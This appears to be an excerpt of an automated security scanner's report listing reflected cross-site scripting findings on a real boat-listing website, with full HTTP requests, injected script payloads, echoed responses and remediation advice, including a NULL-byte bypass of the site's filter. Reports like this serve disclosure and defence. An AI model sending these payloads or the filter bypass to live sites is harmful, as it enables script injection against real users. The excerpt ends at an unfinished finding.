GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=12852612280004497e'%3balert(1)//49ec788f734&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:33:21 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "12852612280004497e';alert(1)//49ec788f734"<br> ...[SNIP]...
The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %006b4b9'%3balert(1)//063528a8d25 was submitted in the boat_id parameter. This input was echoed as 6b4b9';alert(1)//063528a8d25 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/photoGallery.jsp?slim=quick¤cy=USD&units=Feet&seo=0&checked_boats=2266476&boat_id=2266476%006b4b9'%3balert(1)//063528a8d25&back=/core/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&boat_id=2266476 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 22:39:26 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2266476.6b4b9';alert(1)//063528a8d25"<br> ...[SNIP]...
The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3636f'%3balert(1)//da24b305247 was submitted in the boat_id parameter. This input was echoed as 3636f';alert(1)//da24b305247 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/photoGallery.jsp?slim=quick¤cy=USD&units=Feet&seo=0&checked_boats=2266476&boat_id=22664763636f'%3balert(1)//da24b305247&back=/core/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&boat_id=2266476 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:34:29 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "22664763636f';alert(1)//da24b305247"<br> ...[SNIP]...
The value of the currency request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload b985f><script>alert(1)</script>57738a0195 was submitted in the currency parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photoGallery.jsp?slim=quick¤cy=USDb985f><script>alert(1)</script>57738a0195&units=Feet&seo=0&checked_boats=2266476&boat_id=2266476&back=/core/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&boat_id=2266476 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:20 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 21:44:50 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.416. http://www.yachtworld.com/core/listing/photoGallery.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/photoGallery.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82cf6"><script>alert(1)</script>38b55a9b8a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photoGallery.jsp?82cf6"><script>alert(1)</script>38b55a9b8a4=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:23 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
<html la ...[SNIP]... <a href="/core/uk/listing/yw_listing_search_error.jsp??82cf6"><script>alert(1)</script>38b55a9b8a4=1"> ...[SNIP]...
The value of the units request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 981d1><script>alert(1)</script>ec21d48cf4f was submitted in the units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
